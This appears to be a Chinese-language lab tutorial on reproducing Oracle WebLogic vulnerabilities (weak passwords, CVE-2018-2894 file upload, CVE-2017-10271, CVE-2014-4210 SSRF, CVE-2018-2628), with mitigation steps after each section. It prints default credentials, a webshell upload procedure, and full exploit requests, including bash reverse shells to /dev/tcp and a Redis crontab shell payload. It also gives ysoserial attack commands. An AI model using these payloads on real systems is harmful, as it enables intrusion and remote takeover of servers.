0x01 Weblogic簡介
1.1 敘述
Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基於Java EE架構的中間件,是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。
Weblogic將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(Java EE)應用服務器軟件之一,也是世界上第一個成功商業化的Java EE應用服務器,具有可擴展性、快速開發、靈活、可靠等優勢。
在功能性上,Weblogic是Java EE的全能應用服務器,包括EJB 、JSP、servlet、JMS等,是商業軟件里排名第一的容器(JSP、servlet、EJB等),並提供其他工具(例如Java編輯器),因此也是一個綜合的開發及運行環境。
在擴展性上,Weblogic Server憑借其出色的群集技術,擁有處理關鍵Web應用系統問題所需的性能、可擴展性和高可用性。Weblogic Server既實現了網頁群集,也實現了EJB組件群集,而且不需要任何專門的硬件或操作系統支持。網頁群集可以實現透明的復制、負載平衡以及表示內容容錯。無論是網頁群集,還是組件群集,對於電子商務解決方案所要求的可擴展性和可用性都是至關重要的。
目前Weblogic在全球的使用量也占居前列,據統計,在全球范圍內對互聯網開放Weblogic服務的資產數量多達35382台,美國和中國的Weblogic的使用量接近Weblogic總使用量的70%,其中歸屬中國地區的資產數量為10562台。
1.2 Weblogic活躍的幾個較新版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
Weblogic常用端口:7001
Weblogic后台登錄地址:
輸入 http://your-ip:7001/console 即可進入后台
1.3 Weblogic歷史漏洞
#控制台路徑泄露
Weakpassword
#SSRF:
CVE-2014-4210
#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
#任意文件上傳
CVE-2018-2894
#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506
1.4 復現漏洞簡要描述
#weakpassword:
Weblogic存在管理后台,通過賬號密碼登錄,由於管理員的疏忽,經常會使用弱口令,或者默認的賬戶名密碼。因此存在弱口令爆破的風險。
在本環境下模擬了一個真實的weblogic環境,其后台存在一個弱口令,並且前台存在任意文件讀取漏洞。分別通過這兩種漏洞,模擬對weblogic場景的滲透。
#SSRF漏洞(CVE-2014-4210):
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而可以攻擊內網中redis、fastcgi等脆弱組件。
#任意文件上傳漏洞(CVE-2018-2894):
Oracle 7月更新中,修復了Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在“生產模式”下默認不開啟,所以該漏洞有一定限制。利用該漏洞,可以上傳任意jsp文件,進而獲取服務器權限。
#XML Decoder反序列化漏洞(CVE-2017-10271):
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
#Java反序列化漏洞(CVE-2018-2628):
Oracle 2018年4月補丁中,修復了Weblogic Server WLS Core Components中出現的一個反序列化漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。
0x02 Weblogic弱口令漏洞
2.1 后台登錄地址
輸入 http://your-ip:7001/console 即可進入后台
2.2 Weblogic常見弱口令總結
system:password weblogic:weblogic admin:secruity
joe:password mary:password system:sercurity
wlcsystem: wlcsystem weblogic:Oracle@123
https://cirt.net/passwords?criteria=weblogic
0x03 任意文件上傳漏洞(CVE-2018-2894)
3.1 涉及版本
10.3.6,12.1.3
12.2.1.2,12.2.1.3
復現步驟:
1、進入后台:
勾選在base_domain
下的“高級”下的“啟用web服務測試頁”這個選項,最后點擊保存
2、進入未經授權的上傳界面:http://your-ip/ws_utc/config.do
3、將“通用”下的“當前工作目錄”路徑設置為:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
設置該目錄的目的:
將目錄設置為ws_utc
應用的靜態文件css目錄,訪問這個目錄是無需權限的
4、開始上傳木馬:
進入“安全”,點擊“添加”,點擊“瀏覽…”,選擇你要上傳的jsp木馬,點擊“提交”,成功上傳jsp木馬
5、按鍵“F12”,選中上傳文件名元素,該標簽下有個id元素(時間戳id,下面會用到),復制它。
6、上傳木馬的訪問路徑:
http://your-ip:7001/ws_utc/css/config/keystore/[時間戳id]_[文件名]
3.2 如何防御及修復
1.設置Config.do頁面登錄授權后訪問;
2.IPS等防御產品可以加入相應的特征;
3.升級到官方最新版本
0x04 XML Decoder反序列化漏洞(CVE-2017-10271)
4.1 涉及版本
10.3.6.0,12.1.3.0.0,12.2.1.1.0
4.2 漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
4.3 檢測是否存在漏洞
工具利用 --- XML反序列化漏洞檢查工具
腳本利用 --- CVE-2017-10271-poc.py
Burp抓包傳入數據驗證
工具利用 --- XML反序列化漏洞檢查工具
腳本利用 --- CVE-2017-10271-poc.py
(1)或者自行檢測頁面是否能夠寫入文件,打開漏洞地址,本次實例為:
http://your-ip:7001/wls-wsat/CoordinatorPortType
(2)使用Burp抓包,將其轉發到“Repeater”模塊下,將GET變為POST,改成poc數據包,點擊Go按鈕
POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(3)效果頁面:
訪問地址為:http://your-ip:7001/bea_wls_internal/test.jsp
4.4 反彈一個shell
(1)nc監聽本地端口:
nc -l -p 7089
(2)通過Burp,自行更改數據包,exp改為反彈shell的命令:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.206.132/7089 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(3)效果圖:
4.5 如何防御與修復
1.臨時解決方案
根據攻擊者利用POC分析發現所利用的為wls-wsat組件的CoordinatorPortType接口,若Weblogic服務器集群中未應用此組件,建議臨時備份后將此組件刪除,當形成防護能力后,再進行恢復。
根據實際環境路徑,刪除WebLogic wls-wsat組件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重啟Weblogic域控制器服務:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服務
DOMAIN_NAME/bin/startManagedWebLogic.sh #啟動服務
刪除以上文件之后,需重啟WebLogic。確認http://weblogic_ip/wls-wsat/ 是否為404頁面
2.官方補丁修復
前往Oracle官網下載10月份所提供的安全補丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
升級過程可參考:
http://blog.csdn.net/qqlifu/article/details/49423839
0x05 Weblogic-SSRF漏洞(CVE-2014-4210)
5.1 簡介
SSRF(Server-Side Request Forgery),服務端請求偽造,是一種由攻擊者構造形成由服務端發起請求的一個漏洞,一般情況下,SSRF攻擊的目標是從外部網絡無法訪問的內部系統。
5.2 SSRF危害以及可實現的攻擊行為
- 主機上本地敏感信息讀取,對外網服務器所在的內網的本地端口進行掃描,獲取服務的Banner信息
- 攻擊運行在內外網主機的應用程序
- 通過訪問默認文件對內網Web應用進行指紋識別
- 攻擊內外網的Web應用,主要是使用GET參數就可以實現攻擊
- 利用file協議讀取本地文件
5.3 涉及版本
10.0.2, 10.3.6
5.4 漏洞地址
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
5.5 檢測是否存在漏洞
使用腳本簡單探測:ssrf-poc_simple.py(基於python3.x)
手工進行簡單檢測,在漏洞地址處,點擊Search按鈕,返回:“An error has occurred”
可從漏洞頁面下的Setup UDDI Explorer
處發現內網地址
如果不顯示,可以使用腳本猜測。“ip_detect.py”:python ip_detect.py --url 目標地址(基於python2.x)
內網地址(可自行按需更改):
10.0.0.0 ~ 10.255.255.255,
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255
開始手工進行內網探測,打開漏洞頁面后,通過Search
,產生數據包:
對operator參數進行修改數據:
觀察現象,根據探測結果進行簡要分析:
-
主機存活且端口存在
-
不存在的端口或IP地址
-
可訪問的端口(且該端口是非http協議)
5.6 模擬攻擊
現在模擬內網中存在一台Redis,我們來對他進行攻擊:
在前面的探測,我們已經知道了目標系統內網地址存活狀態,並發現了一個6379端口主機,根據經驗,該端口下的服務是Redis數據庫。
嘗試“利用注入HTTP頭,來讓Redis反彈shell”:
- Weblogic的SSRF,在使用GET請求時,可以通過“%0a%0d”(\r\n,換行符),來注入換行符。
- 某些服務(如Redis)是通過換行符來分隔每條命令
- 因此可以通過該SSRF攻擊內網中的Redis服務器
根據已知條件,我們可以對這個頁面的數據包做些手腳:
(1)將原本POST傳輸的數據,通過GET方式傳輸
(2)拼接好傳輸的數據后,通過注入換行符,發送三條redis命令,將彈shell腳本寫入/etc/crontab
:
Redis反彈shell腳本:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
進行url編碼:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
(3)在本地進行端口監聽,同時發送編碼后的payload:
nc -l -p 7089
(4)成功執行:
5.7 如何防御與修復
1.如果業務不需要UDDI功能,就關閉這個功能。可以刪除uddiexporer文件夾,可以可在/weblogicPath/server/lib/uddiexplorer.war解壓后,注釋掉上面的jsp再打包。
2.安裝oracle的更新包。
http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
0x06 Java反序列化漏洞(CVE-2018-2628)
6.1 Java序列化與Java反序列化
簡介:
Java序列化:即把Java對象轉換為字節序列的過程
Java反序列化:是指把字節序列恢復為Java對象的過程
作用:
序列化與反序列化目的是為了讓Java對象脫離Java運行環境的一種手段,可以有效的實現多平台之間的通信,對象持久化存儲。
6.2 Java反序列化漏洞成因
在上述情況中所說的轉換過程中,出現了漏洞,加之暴露或間接暴露出可反序列化的API,導致用戶可以操作,並傳入數據,或精心構造惡意代碼。
6.3 相關歷史漏洞簡介
#CVE-2015-4852
Weblogic 直接反序列化
是基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 漏洞實為CVE-2015-4852繞過 拜Oracle一直以來的黑名單修復方式所賜
#CVE-2016-3510
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
#CVE-2017-3248
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬於Weblogic JRMP反序列化
#CVE-2018-2628
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 屬於 Weblogic JRMP反序列化
#CVE-2018-2893
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞 實為CVE-2018-2628繞過 同樣拜Oracle一直以來的黑名單修復方式所賜 屬於Weblogic JRMP反序列化
6.4 涉及版本
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
6.5 漏洞復現
1.使用“nmap”探測目標信息,是否存在T3協議信息:
nmap –n –v –p 7001 目標地址 --script=weblogic-t3-info
2.使用python腳本進行探測,是否存在漏洞(在Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0號中,基於python2.x版本)
python weblogic_poc.py 目標地址
3.根據前面探測的信息,我們發現目標存在Java反序列化漏洞,來讓我們進一步攻擊它吧,我們需要使用到“ysoserial”
4.首先使用ysoserial在攻擊機上啟動一個 JRMP server,輸入以下命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
[listen port]:攻擊機要監聽的端口
[command]:想要執行的命令
5.開始使用44553.py腳本來向目標發送數據包(基於python2.x)
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip]:目標weblogic的IP
[victim port]:目標weblogic的端口
[path to ysoserial] :ysoserial的路徑
[JRMPListener ip] :第一步中啟動JRMP Server的IP地址
[JRMPListener port] :第一步中啟動JRMP Server的I端口地址
[JRMPClient]:執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2
6.6 如何防御與修復
參考鏈接:
http://www.talkwithtrend.com/Article/178555
0x07 參考鏈接
http://www.talkwithtrend.com/Article/178555
http://www.storysec.com/kali-linux-install-docker.html
https://github.com/Medicean/VulApps
https://www.kingkk.com/2018/09/weblogic%E6%BC%8F%E6%B4%9E%E7%BB%83%E4%B9%A0/
https://xz.aliyun.com/t/140
https://www.jianshu.com/p/08710cfde0f0
https://www.secpulse.com/archives/38967.html
https://github.com/rabbitmask/WeblogicScan
http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html
https://www.jianshu.com/p/42a3bb2b2c2c
https://github.com/k8gege/K8tools